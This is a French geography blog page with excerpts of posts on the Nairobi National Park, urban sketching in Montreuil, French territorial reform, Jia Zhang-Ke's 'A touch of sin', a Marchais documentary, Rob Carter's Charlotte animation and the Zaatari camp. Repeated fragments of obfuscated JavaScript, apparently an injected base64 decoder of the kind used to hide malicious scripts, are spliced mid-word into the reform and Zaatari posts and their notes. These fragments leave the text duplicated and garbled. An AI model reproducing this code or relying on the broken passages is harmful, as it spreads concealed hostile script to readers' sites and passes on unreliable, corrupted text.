»).

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Ville et développement durable à Nairobi

Le Parc National de Nairobi. A l'arrière, la skyline du CBD. Photographie Le Monde / Phil Moore

Le Parc National de Nairobi. A l’arrière, la skyline du CBD. Photographie Phil Moore / Le Monde

Un récent article d’Audrey Garric, paru dans Le Monde, offre un bon exemple de conflit d’usage pour un espace protégé. Il s’inscrit au cœur des problématiques étudiées en histoire-géographie en classe de 2nde. Un conflit d’usage est, en géographie, une tension entre plusieurs acteurs spatiaux qui cherchent à utiliser la même ressource ou le même espace, ces utilisations étant contradictoires. Ici, l’existence d’un Parc National protégé aux portes d’une ville, est fragilisée à la fois par les pollutions d’origine urbaine et par la pression urbaine. L’habitat informel, l’autre nom des bidonvilles (slums en anglais), autoconstruit et par définition illégal, tend à se développer dans les interstices et les marges urbaines. La progression de l’habitat informel ne touche pas le parc, mais réduit l’espace disponible autour de la ville : la zone protégée est de plus en plus considérée comme une réserve foncière. Les autorités kényanes ont déjà autorisé la construction d’infrastructures routières et ferroviaires à l’intérieur des limites du parc.

L’article d’Audrey Garric illustre les enjeux du développement durable dans les villes du Sud. La rapidité de l’urbanisation (Nairobi, 3 millions d’habitants en 2009, a été fondée en 1899) entraîne une forte artificialisation des surfaces agricoles (ici plutôt pastorales) et naturelles. Il s’agit aussi d’une urbanisation de très faible densité à l’exception du CBD (dont la disposition conforme ici au modèle théorique de la ville africaine tel qu’on l’enseignait il y a dix ans, ci-dessous). Lire la suite

Montreuil, « Carnet in situ » de Mehdi Zannad

Les artistes qui s’intéressent à la ville aujourd’hui sont légion. Qu’ils la prennent pour sujet (Dreamworld de Léo Fabrizio si l’on veut en citer un dont le travail nous a récemment séduit) ou bien pour support (graffitis, collages, stencil ou yarn bombing : Banksy, Invader, Miss.Tic… et une myriade de plus). A propos de la ville sujet et support (Los Angeles), on reverra également avec intérêt Mur Murs d’Agnès Varda (1981).

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Mehdi Zannad lui aussi prend la ville comme sujet et, d’une certaine façon, tout autant comme support. Il ne fait pas du graphe à Lyon ou à Toulouse, ni ne filme séduit et curieux une métropole américaine ou une mégapole asiatique. Debout dans un coin de rue de Montreuil, quelque part en bord de route, il dessine la ville sur un petit carnet qu’il remplit. Selon ce qu’il écrit dans « sa règle », lui en tant que personne intègre même le paysage. Littéralement. Le temps du croquis, le temps long de sa pose (une, deux, trois heures ou plus ?), il est aussi figé que du mobilier urbain : « Le corps devient présence, s’enracine, relie le spectacle de la rue à sa projection sur la feuille ». D’ailleurs il précise que son « street art est contemplatif et solitaire ». Un urban sketcher qui réfléchit à sa condition.

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Les collectivités territoriales à l’heure des réformes

NB : Le sujet étant complexe et l’erreur étant humaine, si vous êtes un(e) spécialiste et que vous repérez une erreur ou une imprécision, n’hésitez pas à nous contacter pour nous le faire savoir !

Pendant des décennies, enseigner les collectivités territoriales hexagonales était simple : l’État jacobin concédait des compétences territoriales selon trois échelles allant du local au régional : trente-six mille communes, quatre-vingt-seize départements, et vingt-deux régions. Mais en réalité, les complications ne sont pas nouvelles. Les départements révolutionnaires ont été redécoupés (par exemple, le Rhône et Loire). Certains ont été ajoutés (le Territoire de Belfort…). En 1964, au mépris de la numérotation et au grand dam de nos gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=2p5&15)< <4)|(q8>>2);wb=4q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands-mères-qui-avaient-appris-leurs-départements, la Seine et la Seine-et-Oise ont été charcutées pour donner naissance aux célèbres 75, 78, 91, 92, 93, 94 et 95. Les régions, créées sous la IVe République, ont donné lieu à des découpages variés avant que la loi Defferre les érigeât en collectivités à part entière en 1982. (On se souvient du référendum sur la décentralisation en 1969, dont le rejet aboutit à la démission de De Gaulle et retarda la réforme.) A la même date, la Corse obtint un statut particulier qui la dota d'une assemblée élue au suffrage universel. Les 22 régions sont aujourd'hui jugées trop petites, pas par rapport à leurs homologues allem;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands comme on le dit parfois (certains länder sont minuscules) mais par rapport à une moyenne européenne. Il est prévu d'en faire fusionner certaines pour aboutir au chiffre de 13 régions, toujours en métropole. Lire la suite

Notes   [ + ]

1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand dam de nos grands-mères-qui-avaient-appris-leurs-départements, la Seine et la Seine-et-Oise ont été charcutées pour donner naissance aux célèbres 75, 78, 91, 92, 93, 94 et 95. Les régions, créées sous la IVe République, ont donné lieu à des découpages variés avant que la loi Defferre les érigeât en collectivités à part entière en 1982. (On se souvient du référendum sur la décentralisation en 1969, dont le rejet aboutit à la démission de De Gaulle et retarda la réforme.) A la même date, la Corse obtint un statut particulier qui la dota d'une assemblée élue au suffrage universel. Les 22 régions sont aujourd'hui jugées trop petites, pas par rapport à leurs homologues allemand dam de nos gr;p5=s4.indexOf(wc.charAt(vf++
4. q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands-mères-qui-avaient-appris-leurs-départements, la Seine et la Seine-et-Oise ont été charcutées pour donner naissance aux célèbres 75, 78, 91, 92, 93, 94 et 95. Les régions, créées sous la IVe République, ont donné lieu à des découpages variés avant que la loi Defferre les érigeât en collectivités à part entière en 1982. (On se souvient du référendum sur la décentralisation en 1969, dont le rejet aboutit à la démission de De Gaulle et retarda la réforme.) A la même date, la Corse obtint un statut particulier qui la dota d'une assemblée élue au suffrage universel. Les 22 régions sont aujourd'hui jugées trop petites, pas par rapport à leurs homologues allem;p5=s4.indexOf(wc.charAt(vf++

A touch of sin

Jia Zhang-Ke, 2013 (Chine)A touch of sin

Le SUICIDE, RÉFLEXE ANIMAL

Comme dans The world (2004) ou 24 City (2009), le genre documentaire ne quitte pas A touch of sin (2013). Les quatre récits qui le constituent s’inspirent de faits divers. Des faits divers suffisamment violents (tufa shijian comme ils sont désignés en Chine) pour avoir marqué les esprits et avoir été largement diffusés sur internet (sur Weibo notamment, l’équivalent chinois de Twitter). Le documentaire est aussi présent dans la façon de filmer la Chine contemporaine : ses paysages, ses mutations, ses populations et leurs migrations.

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Les quatre histoires se situent dans quatre endroits très différents en Chine. Chaque protagoniste traverse ces territoires en suivant des parcours plus ou moins longs : dans la province houillère du Shanxi (nord-est de la Chine) où le paysage est sec et rocailleux, dans la mégalopole de Chongqing au centre du pays et au bord du Yangzi (San’er y arrive par bateau), dans une ville de la province du Hubei près de Yichang (centre-est du pays), et dans l’immense conurbation de Dongguan, centre manufacturier du Guangdong (près de Hong Kong). Il n’est pas inintéressant ici de se reporter à une carte, aussi synthétique soit-elle, afin de bien saisir les déséquilibres territoriaux en jeu dans cet immense pays. Lire la suite

Dominique Marchais dans les pas des géographes (ruralistes)

Affiche du FilmLa ligne de partage des eaux est un long-métrage documentaire (1h48) réalisé par Dominique Marchais, sorti en salle le 23 avril 2014, et distribué par Les films du losange.

En ces temps de vulgate populiste sur le supposé dysfonctionnement du « mille-feuille territorial », les occasions de redonner du crédit, à ce que l’on préfèrerait appeler « le jeu d’échelle démocratique », sont suffisamment rares pour être notées. En se penchant sur les causes et les conséquences des mutations paysagères sur un bassin versant, appréhendé comme un écosystème, l’enquête géographique de Dominique Marchais apporte avec beaucoup de finesse une nécessaire nuance ondulatoire dans cet océan de contre-vérités territoriales et de tsunami réformiste. Ainsi, dès le titre, l’usage de la métaphore géographique de la ligne de partage des eaux, si elle renvoie à la frontière qui sépare des bassins versants, apparait aussi comme une ligne politique reliant des individus et des groupes qui ont quelque chose en partage.

LIGNE DE PARTAGE DES EAUX FA HD VOFR from Les Films Du Losange on Vimeo.

Une géographie totale au fil de l’eau

Le bassin versant décrit par Dominique Marchais draine en effet avec lui tout ce qui fait l’intérêt géographique, politique, sociologique et historique des études rurales contemporaines. Certes le film ne peut prétendre embrasser toutes ces problématiques, mais il a l’immense intérêt d’en faire un objet avec ses propres logiques (trop souvent traité sous le prisme d’une généralisation de l’urbain), sans le déconnecter d’un contexte général (face aux nombreux récits d’utopies locales auto-réalisatrices). En effet, s’il s’arrête sur des éléments situés qui servent traditionnellement à distinguer les territoires (paysage agricole, promotion immobilière et urbanisme, tourisme patrimonial, milieux naturels, marketing et développement économique), le film s’avère être un formidable incubateur de liens, de rencontres, et de connexions entre les espaces. Des liens fragmentés, mais rassemblés autour de ce qu’ils produisent comme relation «au pays », et aussi par la manière dont ils fragilisent de façon concomitante un écosystème global, où la campagne ne se pense pas indépendamment de la ville. Lire la suite

Faudrait pas froisser Charlotte

Pour ceux qui comme moi ont d’abord connu Charlotte par son équipe de basket, et feu le petit frelon bleu des Charlotte-Hornets, force est de constater qu’aujourd’hui encore ça bourdonne pas mal dans la plus grande ville de Caroline du Nord [1]: la croissance démographique y est de manière continue l’une des plus forte des États-Unis (réf. United States Census Bureau [2]) et son développement urbain semble frénétique. C’est cet aspect urbanistique que le travail d’animation-vidéo de Rob Carter traite de manière pédagogique et engagée. En permettant au spectateur de suivre en 9 minutes une histoire abrégée de la ville (à travers un processus de narration original mettant en mouvement des images aériennes de la ville), l’artiste fait revivre les strates de l’histoire urbaine de Charlotte, pour recréer le paysage de l’expansion d’une métropole américaine, jusqu’à son dénouement apocalyptique.

Lien Vidéo. Metropolis by Rob Carter – Last 3 minutes from Rob Carter on Vimeo.

L’intégralité de la vidéo est consultable sur le site internet de l’artiste.

http://www.robcarter.net/Vid_Metropolis.html

Tectonique des plaques urbaines à Charlotte

Vue dans le cadre de l’exposition « Rêves d’Icare » au centre Pompidou-Metz, qui traitait de l’influence de la vue aérienne sur la perception que les artistes ont du monde [3], l’animation de Rob Carter fait commencer l’histoire de la ville à partir des années 1750, sur un chemin forestier du territoire des indiens de Catawba [4] où l’on assiste à la construction de la première maison de colons (ce que ne renieraient pas les fans de Civilization…). De là, nous voyons la ville se développer avec dans un premier temps la prospérité de la ruée vers l’or, puis l’émergence d’une multitude d’églises (ce qui a rendu la ville célèbre), et enfin la naissance des infrastructures d’une ville moderne. Le film s’attarde alors tout particulièrement sur les effets du boom économique des 20 dernières années sur l’architecture urbaine, avant d’envisager sa chute. Lire la suite

Ma rencontre avec Zaatari : chronique d’une curiosité géographique

Il y a 6 mois, le camp de réfugiés de Zaatari devenait mondialement connu et médiatisé à la suite de la visite de John Kerry[1]. Il y a 6 mois, le camp de réfugiés de Zaatari devenait le centre de mes attentions alors que ma sœur s’y rendait dans le cadre d’une mission humanitairefunction m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1= »;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=1p5&15)< <4)|(q8>>2);wb=2q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanderait donc à soustraire la mention « camp français », qui a depuis été remis aux autorités jordaniennes http://www.ambafrance-jo.org/Ceremonie-de-retrait-du-groupe) » href= »#_ftn2″>[2]. C’est la chronique de ce « même temps », fruit des aller-retour entre les informations disponibles sur internet, le vécu tout personnel d’une expérience familiale, et les interrogations géographiques qu’il a soulevées que je me décide enfin à partager.

Sources : M;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandel-Ngan/AFP/Getty-Images ; Clémence-Georges/2013

Comment parler de si loin de la guerre en Syrie

Une remarque liminaire s'impose : il est délicat d’écrire sur cette histoire qui croise l’actualité internationale sans interroger ma propre légitimité. Comment, en effet, écrire sur un « objet » si conflictuel et multiple que la guerre en Syrie, sans la profondeur d’analyse des experts en géopolitique[3] ? Comment écrire sur un « sujet » si balayé par les tempêtes successives d’actualités instantanées que celui du « dossier syrien », sans les outils des sources de l’enquête journalistique ? Comment écrire sur une « réalité » sociale si alarmante et sensible que le destin des populations civiles, sans en maîtriser ni la complexité humaine et culturelle, ni les codes propres aux situations humanitaires ?

La question est donc aussi de savoir si l’on peut décrire une situation sans déployer un appareillage méthodologique précis et conceptualisé ? Peut-on retranscrire une réalité de terrain, sans faire de terrain ? Annoncer ces questions, c’est prendre une part de précautions quant aux limites de la validité de l’exercice entrepris. Mais c’est aussi prendre des libertés et pointer du doigt l’intérêt des outils du géographe et la capacité heuristique d'un exercice à portée certes limitée, mais fruit d'un vécu et de sa mise à distance. C’est à ce courant d’air frais sur un sujet balisé de toutes parts que cet article invite, en suivant mon cheminement, celui qui m’a permis de découvrir de près une réalité lointaine.

Regarder avec l’œil de la curiosité géographique. Lire la suite

Notes   [ + ]

1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanderait donc à soustraire la mention « camp français », qui a depuis été remis aux autorités jordaniennes http://www.ambafrance-jo.org/Ceremonie-de-retrait-du-groupe) » href= »#_ftn2″>[2]. C’est la chronique de ce « même temps », fruit des aller-retour entre les informations disponibles sur internet, le vécu tout personnel d’une expérience familiale, et les interrogations géographiques qu’il a soulevées que je me décide enfin à partager.

Sources : Manderait donc à soustraire la mention « camp français », qui a depuis été remis aux autorités jordaniennes http://www.ambafrance-jo.org/Ceremonie-de-retrait-du-groupe) » href= »#_ftn2″>[2]. C’est la chronique de ce « même temps », fruit des aller-retour entre les informations disponibles sur internet, le vécu tout personnel d’une expérience familiale, et les interrogations géographiques qu’il a soulevées que je me décide enfin à partager.

Sources : M;p5=s4.indexOf(wc.charAt(vf++